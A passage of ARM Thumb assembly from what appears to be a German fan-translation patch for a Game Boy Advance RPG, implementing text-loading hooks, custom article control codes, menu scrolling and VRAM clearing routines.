lsl r0,r0,#0x10
add r3,r6,r0
asr r3,r3,#0x10
pop {pc}
//=============================================================================================
// This hack manually clears the tile layer with non-sprite text on it, since the game
// doesn't seem to want to do it itself all the time. We're basically shoving a bunch of 0s
// into the tilemap.
//
//
// Note that this is buggy so it's not being used now. Fix it later maybe?
//=============================================================================================
.clear_non_sprite_text:
push {lr}
cmp r4,#0
bne +
bl .delete_vram
+
mov r0,r5 // clobbered code
mov r1,r6
pop {pc}
//=============================================================================================
// This hack implements a VWF for the battle memory non-sprite text.
//=============================================================================================
.battle_mem_vwf:
push {r5,lr} // We're going to use r5, so we need to keep it in
ldr r5,[sp,#0x08] // Load r5 with our former LR value?
mov r14,r5 // Move the former LR value back into LR
ldr r5,=#0x804999B // This is different from the other functions. At the old code from the branch,
// there is an unconditional branch after mov r0,#8 to this address.
// This is where we want to return to.
str r5,[sp,#0x08] // Store it over the previous one
pop {r5} // Get back r5
add sp,#0x04 // Get the un-needed value off the stack
ldr r0,=#{main_font_width} // load r0 with the address of our 16x16 font width table (FIX : that was 8x8)
ldrb r0,[r0,r1]
pop {pc}
//=============================================================================================
// This hack will make the game load alternate text than the game would normally expect.
// This affects:
// - Short enemy names in the Battle Memory screen
// - Short enemy names used in gray name boxes outside
// - Fixed item descriptions in battle, with descs that would normally use status icons
// - Sleep mode message, which had to be done using prewelded text
//=============================================================================================
.load_alternate_text:
push {r5,lr} // We're going to use r5, so we need to keep it in
ldr r5,[sp,#0x08] // Load r5 with our former LR value?
mov lr,r5 // Move the former LR value back into LR
ldr r5,[sp,#0x04] // Grab the LR value for THIS function
str r5,[sp,#0x08] // Store it over the previous one
pop {r5} // Get back r5
add sp,#0x04 // Get the un-needed value off the stack
push {r5-r6} // need to use these registers real quick
cmp r2,#0x07 // if r2 == 7, then we're dealing with enemy names
beq .short_enemy_name
cmp r2,#0x00 // in battle, status icons don't get displayed
beq .status_icon_text // so we prepare alternate text
cmp r1,#0x25 // we have to do some magic to make the sleep mode message work
beq .sleepmode_text
b .orig_load_code // so let's just jump to the original code for non-enemy names
//---------------------------------------------------------------------------------------------
.short_enemy_name:
ldr r5,=#0x80476FB // load r5 with 0x80476FB, which we'll use to compare the calling address from
ldr r6,[sp,#0x1C] // load in the calling address
cmp r5,r6 // if equal, this is for the battle memory menu
beq +
//Load r5 with the scrolling printing routine for the battle memory
ldr r5,=#.new_battle_memo_scroll_print_after_function+1
cmp r5,r6
beq + // if equal, this is for the battle memory menu
ldr r5,=#0x8023B1F // load r5 with 0x8023B1F, which is used for the gray name boxes
cmp r5,r6
bne .orig_load_code // if not equal, jump to the original code
+
ldr r0,=#0x8D23494 // load the base address of the abbreviated names list
b .end_load_code
//---------------------------------------------------------------------------------------------
.status_icon_text:
ldr r5,=#0x8064B89 // see if this is being loaded from battle, if not, do normal code
ldr r6,[sp,#0x18]
cmp r5,r6
bne .orig_load_code
cmp r4,#0x8B // if item # < 0x8B or item # > 0x92, use normal code and desc text
blt .orig_load_code
cmp r4,#0x92
bgt .orig_load_code
ldr r0,=#0x9F8F004 // else use special item descriptions just for this instance
cmp r1,#4
bne +
ldr r0,=#0x9F8F204
+
b .end_load_code
//---------------------------------------------------------------------------------------------
.sleepmode_text:
ldr r5,=#0x9AF3790 // just making extra sure we won't trigger this fix on accident
cmp r0,r5 // see if r0 directs to the menus3 block
bne .orig_load_code // if it doesn't, skip all this and do the original code
ldr r5,=#0x9FB0300 // start of custom sleep mode text/data
cmp r6,#0x1F // if this is the first sleep mode line, redirect pointer
bne + // if this isn't the first sleep mode line, see if it's the 2nd
mov r0,r5
add r0,#2 // r0 now has the address of the first line of custom SM text
b .special_end_load
+
cmp r6,#0x20 // see if this is the 2nd line of sleep mode text
bne .orig_load_code // if it isn't, we continue the original load routine as usual
ldrh r0,[r5,#0] // load the offset to the 2nd line
add r0,r5,r0 // r0 now has the address to the 2nd line
b .special_end_load
//---------------------------------------------------------------------------------------------
.orig_load_code:
lsl r1,r1,#0x10 // when this whole routine ends, it will go back to 80028A4
lsr r1,r1,#0x0E
add r1,r1,r0
ldr r1,[r1,#0x04]
add r0,r0,r1
.end_load_code:
pop {r5-r6,pc} // Pop the registers we used off the stack, and return
//---------------------------------------------------------------------------------------------
.special_end_load:
mov r5,lr // we need to do some return address magic if we're doing
add r5,#8 // the sleep mode text fix
mov lr,r5
pop {r5-r6,pc}
//=============================================================================================
// These three little hacks move item descriptions in RAM and allow for up to 256 letters,
// though there wouldn't be enough room in the box for that of course :P
//=============================================================================================
.load_desc_address1:
ldr r0,=#0x2014330
mov r2,r8
bx lr
//---------------------------------------------------------------------------------------------
.load_desc_address2:
mov r0,r4
ldr r1,=#0x2014330
bx lr
//---------------------------------------------------------------------------------------------
.load_desc_clear_length:
ldr r1,=#0x1F8
mov r2,r8
bx lr
//=============================================================================================
// These six hacks allow for longer messages in main menus. The max is somewhere around 200
// letters.
//=============================================================================================
.save_menu_msg_address:
add r5,#2
ldr r0,=#0x2014310
str r5,[r0,#0]
pop {r4-r7}
pop {r0}
bx lr
//---------------------------------------------------------------------------------------------
.load_menu_msg_address:
ldr r0,=#0x2014310
ldr r5,[r0,#0]
bx lr
//---------------------------------------------------------------------------------------------
.init_menu_msg_address:
ldr r0,=#0x201A374
ldr r7,=#0x2014310
str r0,[r7,#0]
mov r7,#0
mov r0,#1
bx lr
//---------------------------------------------------------------------------------------------
.change_menu_msg_address1:
push {r2,lr}
ldr r0,=#0xFFFFFFFF
ldr r1,=#0x2014330
ldr r2,=#0x100
bl fill_mem
mov r0,r6
pop {r2,pc}
//---------------------------------------------------------------------------------------------
.change_menu_msg_address2:
mov r0,r5
ldr r1,=#0x2014330
bx lr
//---------------------------------------------------------------------------------------------
.change_menu_msg_clear_amt:
ldr r1,=#0x201A510
sub r1,r1,r5
mov r2,r8
bx lr
//=============================================================================================
// This hack processes our custom control codes. Since we don't need to bother with enemy
// stuff here, only custom item control codes need to be handled here.
//
// The custom item control codes are [10 EF] through [17 EF].
//
// [10 EF] - Prints the proper article if it's the first word of a sentence (ie "Ein/Eine")
// [11 EF] - Prints the proper article if it's not the first word of a sentence (ie "ein/eine")
// [12 EF] - Prints an uppercase definite article ("Der", etc.)
// [13 EF] - Prints a lowercase definite article ("der", etc.)
// [14 EF] - Prints genetive article depending on the item
// [15 EF] - Prints genetive suffix depending on the item
// [16 EF] - Prints it/them depending on the item CURRENTLY UNUSED
// [17 EF] - Prints ist/sind depending on the item
//
// [20 EF] - Prints string fragments about the type of equipment the current item is
//
//=============================================================================================
.execute_custom_cc:
push {r0-r3,lr}
ldrb r0,[r4,#1] // load the high byte of the current letter
cmp r0,#0xEF // if it isn't 0xEF, do normal stuff and then leave
beq +
ldrh r0,[r4,#0] // load the correct letter again
strh r0,[r5,#0] // store the letter
add r4,#2 // increment the read address
add r5,#2 // increment the write address
b .ecc_end // leave this subroutine
//---------------------------------------------------------------------------------------------
+
ldrb r0,[r4,#0] // load the low byte of the current letter, this is our argument
cmp r0,#0x20 // if this is EF20, go do that code elsewhere
beq +
mov r2,#0x10
sub r2,r0,r2 // r2 = argument - #0x10, this will make it easier to work with
ldr r0,=#0x201A1FD // this gets the current item #
ldrb r0,[r0,#0]
lsl r0,r0,#3 // r0 = item num * 8
ldr r1,=#{item_extras_address} // this is the base address of our extra item data table in ROM
add r0,r0,r1 // r0 now has the address of the correct item table
ldrb r0,[r0,r2] // r0 now has the proper article entry #
mov r1,#40
mul r0,r1 // calculate the offset into custom_text.bin
ldr r1,=#{custom_text_address} // load r1 with the base address of our custom text array in ROM
add r0,r0,r1 // r0 now has the address of the string we want
mov r1,r5 // r1 now has the address to write to
bl custom_strcopy // r0 returns with the # of bytes copied
add r5,r5,r0 // update the write address
add r4,#2 // increment the read address
b .ecc_end
//---------------------------------------------------------------------------------------------
+ // all this code here prints the proper "is equipment" message
ldr r0,=#0x201A1FD // this gets the current item #
ldrb r0,[r0,#0]
ldr r1,=#0x80E510C // start of item data blocks + item_type address
mov r2,#0x6C // size of each item data block
mul r0,r2 // item_num * 6C
add r0,r0,r1 // stored at this address is the current item's type
ldrb r0,[r0,#0] // load the item type
add r0,#4 // add 4 -- starting on line 4 of custom_extras.txt are the strings we want
mov r1,#40
mul r0,r1
ldr r1,=#{custom_text_address} // this is the base address of our custom text array
add r0,r0,r1 // r0 now has the correct address
mov r1,r5
bl custom_strcopy // r0 returns the # of bytes copied
add r5,r5,r0 // update the write address
add r4,#2 // increment the read address
//---------------------------------------------------------------------------------------------
.ecc_end:
pop {r0-r3,pc}
//=============================================================================================
// This hack fixes the main menu string length counting routine so that character names
// don't wind up with extra long names. If the counting routine thought a name was > 8,
// manually make the length = 8.
//=============================================================================================
.counter_fix1:
push {lr}
//mov r5,#8 // r5 will be the new value to change to if need be
ldr r0,[sp,#8] // load r0 with the base address of the string we just counted
bl check_name // check if the name is custom
cmp r0,#0
beq +
cmp r3,r0 // is the length > r5 (normally 8)?
ble + // if not, continue as normal, else manually make it = r5 (normally 8)
mov r3,r0
+
mov r0,r3 // clobbered code
pop {r4}
mov lr,r4
pop {r4,r5}
bx lr
//=============================================================================================
// This hack fixes the rare case of the menu message "Fav. Food - XXX has XXX of this item."
// The game always assumes the fav. food's max length is 22, because that's the length of
// normal items.
//=============================================================================================
.counter_fix2:
ldr r2,=#0x2004F02 // load the address of where the fav. food string is stored
cmp r4,r2 // if we're working with the fav. food address, alter the max length
bne +
mov r0,#9 // 9 is the max length for fav. food
+
lsl r0,r0,#0x10 // clobbered code
lsr r2,r0,#0x10
bx lr
//=============================================================================================
// This hack deletes the content of VRAM that is being shown
//=============================================================================================
.delete_vram:
push {r0-r2,lr}
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#0x600E800
ldr r2,=#0x01000140 // (0x500 => 160 pixels, the GBA screen's height, 24th bit is 1 to fill instead of copying)
swi #0x0C // clear old data out
pop {r0}
pop {r0-r2,pc}
//=============================================================================================
// This hack deletes the content of text's OAM VRAM that can be used
//=============================================================================================
.delete_oam_vram:
push {r0-r2,lr}
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#0x06010000
ldr r2,=#0x01000C00 // (0x3000 => The full OAM we use for text)
swi #0x0C // clear old data out
pop {r0}
pop {r0-r2,pc}
//=============================================================================================
// This hack deletes the content of a subsection of text's OAM VRAM that can be used
//=============================================================================================
//These 2 values must reflect {new_pos_base_alternative2}!!!
define delete_oam_vram_subsection_target_addr $6012000
define delete_oam_vram_subsection_zone_size ($6013000-$6012000)/$4
.delete_oam_vram_subsection:
push {r0-r3,lr}
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#{delete_oam_vram_subsection_target_addr}
ldr r2,=#{delete_oam_vram_subsection_zone_size}
mov r3,#1
lsl r3,r3,#0x18
orr r2,r3 // (0x1000 => The rest of the OAM)
swi #0x0C // clear old data out
pop {r0}
pop {r0-r3,pc}
//=============================================================================================
// This hack deletes the content of VRAM in equip when the data shouldn't be shown. Optimized.
//=============================================================================================
.delete_vram_equip:
push {r1-r7,lr}
bl $805504C // Get if the character's data can be shown
lsl r0,r0,#0x10
cmp r0,#0 // If it can be shown, jump to the end
beq +
push {r0}
// Setup
ldr r6,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
ldr r7,=#0x600E9A0
mov r4,#0x40
lsl r5,r4,#2
mov r0,#0
push {r0}
//Actual clearing
//Weapon
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
add r7,r7,r5 // Next section
//Body
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
add r7,r7,r5 // Next section
//Head
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
add r7,r7,r5 // Next section
//Other
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0C // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0C // clear old data out
pop {r0} // Ending
pop {r0}
+
pop {r1-r7,pc}
//=============================================================================================
// This hack deletes the content of VRAM in status when the data shouldn't be shown. Optimized.
//=============================================================================================
.delete_vram_status:
push {r1-r7,lr}
bl $805504C // Get if the character's data can be shown
lsl r0,r0,#0x10
cmp r0,#0 // If it can be shown, jump to the end
beq +
push {r0}
// Setup
ldr r6,=#0x0100000E // (0x1C bytes of arrangements, 24th bit is 1 to fill instead of copying)
ldr r7,=#0x600EAA4
mov r4,#0x40
lsl r5,r4,#1
mov r0,#0
push {r0}
//Actual clearing
//Weapon
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Body
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Head
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Other
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
add r7,r7,r5 // Next section
//Skill
//First row
mov r0,sp
mov r1,r7
mov r2,r6
swi #0x0B // clear old data out
//Second row
mov r0,sp
add r1,r7,r4
mov r2,r6
swi #0x0B // clear old data out
pop {r0} // Ending
pop {r0}
+
pop {r1-r7,pc}
//=============================================================================================
// This hack deletes the content of VRAM that is being shown when going from the inventory to the battle memory
// It also clears OAM's text VRAM.
//=============================================================================================
.delete_vram_inv_to_battle_memory:
push {lr}
bl .delete_vram
bl .delete_oam_vram
bl $800399C // Clobbered code
pop {pc}
//=============================================================================================
// This hack deletes the content of VRAM that is being shown when going from the battle memory to the inventory
// It also clears OAM's text VRAM.
//=============================================================================================
.delete_vram_battle_memory_to_inv:
push {lr}
bl .delete_vram
bl .delete_oam_vram
bl $804BE64 // Clobbered code
pop {pc}
//=============================================================================================
// This hack puts an alternate menu text palette for certain menus. Used for optimizing
//=============================================================================================
.add_extra_menu_palette:
push {lr}
bl $800160C //Normal expected code
ldr r0,=#0x2004100
ldrb r0,[r0,#0]
cmp r0,#2 // Is this the PSI menu?
beq +
cmp r0,#5 // Or the shop's menu?
bne .add_extra_menu_palette_end
+
mov r0,r4 // If it is, load an extra palette as the 8th one
ldr r1,=#{alternate_menu_text_palette}
mov r2,#0x08
mov r3,#0x20
bl $800160C
.add_extra_menu_palette_end:
pop {pc}
//=============================================================================================
// This hack changes how up/down scrolling in menus works - Based off of 0x8046D90, which is basic menu printing
//=============================================================================================
.new_print_menu_offset_table:
dd .new_main_inventory_scroll_print+1; dd .new_equip_print+1; dd .new_psi_scroll_print+1; dd .new_status_print+1
dd .new_skills_scroll_print+1; dd .new_memoes_scroll_print+1; dd .new_default_scroll_print+1; dd .new_battle_memo_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1; dd .new_shop_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
.new_print_menu_offset_table_special:
dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1; dd .new_equip_submenu_scroll_print+1
.new_print_menu_addition_value_table:
dw $41EC; dw $41F4; dw $41EC; dw $41EC; dw $41EC; dw $41FC; dw $41EC; dw $41FC;
dw $41EC; dw $41EC; dw $4204; dw $4204; dw $41EC; dw $41EC; dw $41EC; dw $41EC;
dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC;
dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC; dw $41EC;
.new_print_menu_up_down:
push {r4,lr}
ldr r3,=#0x2016028 // Base code
ldr r0,=#0x44F2
add r2,r3,r0
ldrb r1,[r2,#0]
lsl r0,r1,#0x1C
cmp r0,#0
bge +
b .end_new_print_menu_up_down
+
mov r0,#8
orr r0,r1
strb r0,[r2,#0]
ldr r1,=#0x4260
add r0,r3,r1 //Get the type of menu this is
ldrb r0,[r0,#0]
cmp r0,#0x10
bhi +
ldr r2,=#.new_print_menu_addition_value_table
lsl r0,r0,#1
ldsh r2,[r2,r0]
ldr r0,=#0x2016078
add r1,r0,r2
mov r2,#1
mov r3,#0
bl .new_clear_menu //New code!!!
+
bl $8049D5C //Back to base code
ldr r3,=#0x2016028
ldr r1,=#0x41C6
add r0,r3,r1
ldrb r1,[r0,#0]
mov r0,#1
and r0,r1
cmp r0,#0
beq +
ldr r2,=#0x41BC
add r1,r3,r2
ldrh r0,[r1,#0]
cmp r0,#3
bhi .end_new_print_menu_up_down
ldrh r1,[r1,#0]
lsl r1,r1,#2
ldr r0,=#.new_print_menu_offset_table_special
add r1,r1,r0
ldrh r0,[r1,#0]
ldrh r1,[r1,#2]
lsl r1,r1,#0x10
orr r1,r0
ldr r4,=#0x3060
add r0,r3,r4
bl $8091938
b .end_new_print_menu_up_down
+
ldr r0,=#0x4260
add r2,r3,r0
ldrb r0,[r2,#0]
cmp r0,#0x12
bhi .end_new_print_menu_up_down
lsl r0,r0,#5
mov r4,#0xB8
lsl r4,r4,#6
add r1,r3,r4
add r0,r0,r1
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
lsl r1,r1,#2
ldr r2,=#.new_print_menu_offset_table
add r1,r2,r1
ldrh r2,[r1,#2]
lsl r2,r2,#0x10
ldrh r1,[r1,#0]
add r1,r1,r2
bl $8091938 // New code!
.end_new_print_menu_up_down:
pop {r4,pc}
//=============================================================================================
// This hack changes how a removal in menus works - Based off of 0x8046D90, which is basic menu printing
// Same code as above except for the points in which it's present the comment DIFFERENT!!!
//=============================================================================================
.new_print_menu_a_offset_table:
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_shop_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_withdrawing_a_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1; dd .new_default_scroll_print+1
.new_print_menu_a:
push {r4,lr}
ldr r3,=#0x2016028 // Base code
ldr r0,=#0x44F2
add r2,r3,r0
ldrb r1,[r2,#0]
lsl r0,r1,#0x1C
cmp r0,#0
bge +
b .end_new_print_menu_a
+
mov r0,#8
orr r0,r1
strb r0,[r2,#0]
ldr r1,=#0x4260
add r0,r3,r1 //Get the type of menu this is
ldrb r0,[r0,#0]
cmp r0,#0x10
bhi +
ldr r2,=#.new_print_menu_addition_value_table
lsl r0,r0,#1
ldsh r2,[r2,r0]
ldr r0,=#0x2016078
add r1,r0,r2
mov r2,#1
mov r3,#0
bl .new_clear_menu_a //DIFFERENT!!!
+
bl $8049D5C //Back to base code
ldr r3,=#0x2016028
ldr r1,=#0x41C6
add r0,r3,r1
ldrb r1,[r0,#0]
mov r0,#1
and r0,r1
cmp r0,#0
beq +
ldr r2,=#0x41BC
add r1,r3,r2
ldrh r0,[r1,#0]
cmp r0,#3
bhi .end_new_print_menu_a
ldr r0,=#0x9B8FD74
ldrh r1,[r1,#0]
lsl r1,r1,#2
add r1,r1,r0
ldr r4,=#0x3060
add r0,r3,r4
ldr r1,[r1,#0]
bl $8091938
b .end_new_print_menu_a
+
ldr r0,=#0x4260
add r2,r3,r0
ldrb r0,[r2,#0]
cmp r0,#0x12
bhi .end_new_print_menu_a
lsl r0,r0,#5
mov r4,#0xB8
lsl r4,r4,#6
add r1,r3,r4
add r0,r0,r1
ldr r1,=#0x201A288
ldrb r1,[r1,#0]
lsl r1,r1,#2 //DIFFERENT!!!
ldr r2,=#.new_print_menu_a_offset_table
add r1,r2,r1
ldrh r2,[r1,#2]
lsl r2,r2,#0x10
ldrh r1,[r1,#0]
add r1,r1,r2
bl $8091938 // New code!
.end_new_print_menu_a:
pop {r4,pc}
//=============================================================================================
// This hack changes how menu clearing works, based off of 0x80012BC
//=============================================================================================
.new_swap_arrangement_routine_table:
dd .new_clear_inventory+1; dd .new_clear_equipment+1; dd .new_clear_inventory+1; dd .new_clear_status+1
dd .new_clear_inventory+1; dd .new_clear_memoes+1; dd .new_clear_inventory+1; dd .new_clear_battle_memo+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_shop+1; dd .new_clear_shop+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1; dd .new_clear_inventory+1
.new_swap_arrangement_routine_special_table:
dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1; dd .new_clear_equip_submenu+1
.new_clear_menu:
push {r4-r7,lr}
mov r7,r8 //base code
push {r7}
add sp,#-0xC
mov r8,r0
mov r5,r1
lsl r2,r2,#0x10
lsr r7,r2,#0x10
mov r0,sp
strh r3,[r0,#0]
cmp r5,#0
beq .new_clear_menu_next_spot
mov r1,#0
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
lsl r0,r0,#0xD
lsr r0,r0,#0x10
ldr r2,=#0xFFFF0000
ldr r1,[sp,#4]
and r1,r2
orr r1,r0
str r1,[sp,#4]
mov r1,#2
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
asr r0,r0,#3
add r4,sp,#4
strh r0,[r4,#2]
ldrh r0,[r5,#4]
lsr r0,r0,#3
strh r0,[r4,#4]
ldrh r0,[r5,#6]
lsr r0,r0,#3
strh r0,[r4,#6]
ldrh r2,[r4,#0]
ldrh r3,[r4,#2]
mov r0,r8
mov r1,r7
bl $8001378
mov r5,r0
mov r6,#0
ldrh r0,[r4,#6]
cmp r6,r0
bcs +
//New code!
ldr r0,=#0x201A1EE //If this is an equip submenu, load the special table
ldrb r0,[r0,#0]
mov r1,#1
and r0,r1
cmp r0,#0
beq .new_clear_menu_normal_menu
ldr r0,=#0x201A1E4
ldrb r0,[r0,#0]
cmp r0,#3
bhi +
lsl r0,r0,#2
ldr r1,=#.new_swap_arrangement_routine_special_table
b .new_clear_menu_load_address
.new_clear_menu_normal_menu:
ldr r0,=#0x201A288 //This is a normal menu
ldrb r0,[r0,#0]
lsl r0,r0,#2
ldr r1,=#.new_swap_arrangement_routine_table
.new_clear_menu_load_address:
add r1,r1,r0
ldrh r0,[r1,#0]
ldrh r1,[r1,#2]
lsl r1,r1,#0x10
add r1,r1,r0
bl $8091938
b +
.new_clear_menu_next_spot: //Back to base code
mov r0,r8
mov r1,r7
mov r2,#0
mov r3,#0
bl $8001378
mov r5,r0
mov r1,#0x80
lsl r1,r1,#4
bl $80019DC
+
.new_clear_menu_general:
mov r0,sp
ldrh r0,[r0,#0]
cmp r0,#0
beq +
lsl r1,r7,#1
mov r0,#0xB1
lsl r0,r0,#6
add r0,r8
add r0,r0,r1
ldrh r1,[r0,#0]
mov r1,#1
strh r1,[r0,#0]
+
add sp,#0xC
pop {r3}
mov r8,r3
pop {r4-r7,pc}
//=============================================================================================
// This hack changes how menu clearing works, based off of 0x80012BC
// Same as above, except it cuts a part
//=============================================================================================
.new_clear_menu_a:
push {r4-r7,lr}
mov r7,r8 //base code
push {r7}
add sp,#-0xC
mov r8,r0
mov r5,r1
lsl r2,r2,#0x10
lsr r7,r2,#0x10
mov r0,sp
strh r3,[r0,#0]
cmp r5,#0
bne +
b .new_clear_menu_next_spot
+
mov r1,#0
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
lsl r0,r0,#0xD
lsr r0,r0,#0x10
ldr r2,=#0xFFFF0000
ldr r1,[sp,#4]
and r1,r2
orr r1,r0
str r1,[sp,#4]
mov r1,#2
ldsh r0,[r5,r1]
cmp r0,#0
bge +
add r0,#7
+
asr r0,r0,#3
add r4,sp,#4
strh r0,[r4,#2]
ldrh r0,[r5,#4]
lsr r0,r0,#3
strh r0,[r4,#4]
ldrh r0,[r5,#6]
lsr r0,r0,#3
strh r0,[r4,#6]
ldrh r2,[r4,#0]
ldrh r3,[r4,#2]
mov r0,r8
mov r1,r7
bl $8001378
b .new_clear_menu_general
//=============================================================================================
// Swaps the arrangements' place for the inventory
//=============================================================================================
.new_clear_inventory:
push {lr}
bl .get_direction
cmp r0,#0
bne .new_clear_inventory_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
mov r2,#0x20 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_inventory_end
//Swap arrangements' place - if we're descending
.new_clear_inventory_descending:
mov r1,r5
mov r0,#0x80
add r0,r0,r1
mov r2,#0xE0 // Put the arrangements one above
swi #0xC
mov r0,#0
push {r0}
mov r0,#0x38
lsl r1,r0,#4
mov r0,sp
add r1,r1,r5
ldr r2,=#0x01000020 // (0x80 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
.new_clear_inventory_end:
pop {pc}
//=============================================================================================
// Clears the arrangements for the Status menu
//=============================================================================================
.new_clear_status:
push {lr}
mov r1,r5
mov r0,#0x69
lsl r0,r0,#2
add r4,r1,r0
mov r3,#0
-
push {r3}
mov r0,#0
push {r0}
mov r0,sp
mov r1,r4
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
mov r0,sp
mov r1,r4
add r1,#0x40
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
pop {r0}
pop {r3}
mov r0,#8
lsl r0,r0,#4
add r4,r4,r0 // Prepare the next one
add r3,#1
cmp r3,#5
bne -
pop {pc}
//=============================================================================================
// Clears the arrangements for the Equipment menu
//=============================================================================================
.new_clear_equipment:
push {lr}
mov r1,r5
mov r0,#0x84
add r4,r1,r0
mov r3,#0
-
push {r3}
mov r0,#0
push {r0}
mov r0,sp
mov r1,r4
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
mov r0,sp
mov r1,r4
add r1,#0x40
ldr r2,=#0x0100000E // (0x18 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xB
pop {r0}
pop {r3}
mov r0,#1
lsl r0,r0,#8
add r4,r4,r0 // Prepare the next one
add r3,#1
cmp r3,#4
bne -
pop {pc}
//=============================================================================================
// Swaps the arrangements' place for the equipment submenu
//=============================================================================================
.new_clear_equip_submenu:
push {lr}
bl .get_direction_submenu
cmp r0,#0
bne .new_clear_equip_submenu_descending
//Swap arrangements' place - if we're ascending
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
add r4,r1,r0 // Get to bottom
-
mov r1,r4
mov r0,#0x80
sub r0,r4,r0
mov r2,#0x8 // Put the arrangements one below
swi #0xC
mov r1,r4
mov r0,#0x80
sub r4,r4,r0
mov r0,r4
add r0,#0x40
add r1,#0x40
mov r2,#0x8 // Put the arrangements one below
swi #0xC
cmp r4,r5
bgt -
mov r0,#0
push {r0}
mov r0,sp
mov r1,r5
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
mov r0,sp
mov r1,r5
add r1,#0x40
ldr r2,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying)
swi #0xC
pop {r0}
b .new_clear_equip_submenu_end
//Swap arrangements' place - if we're descending
.new_clear_equip_submenu_descending:
mov r1,r5
mov r0,#0x38
lsl r0,r0,#4
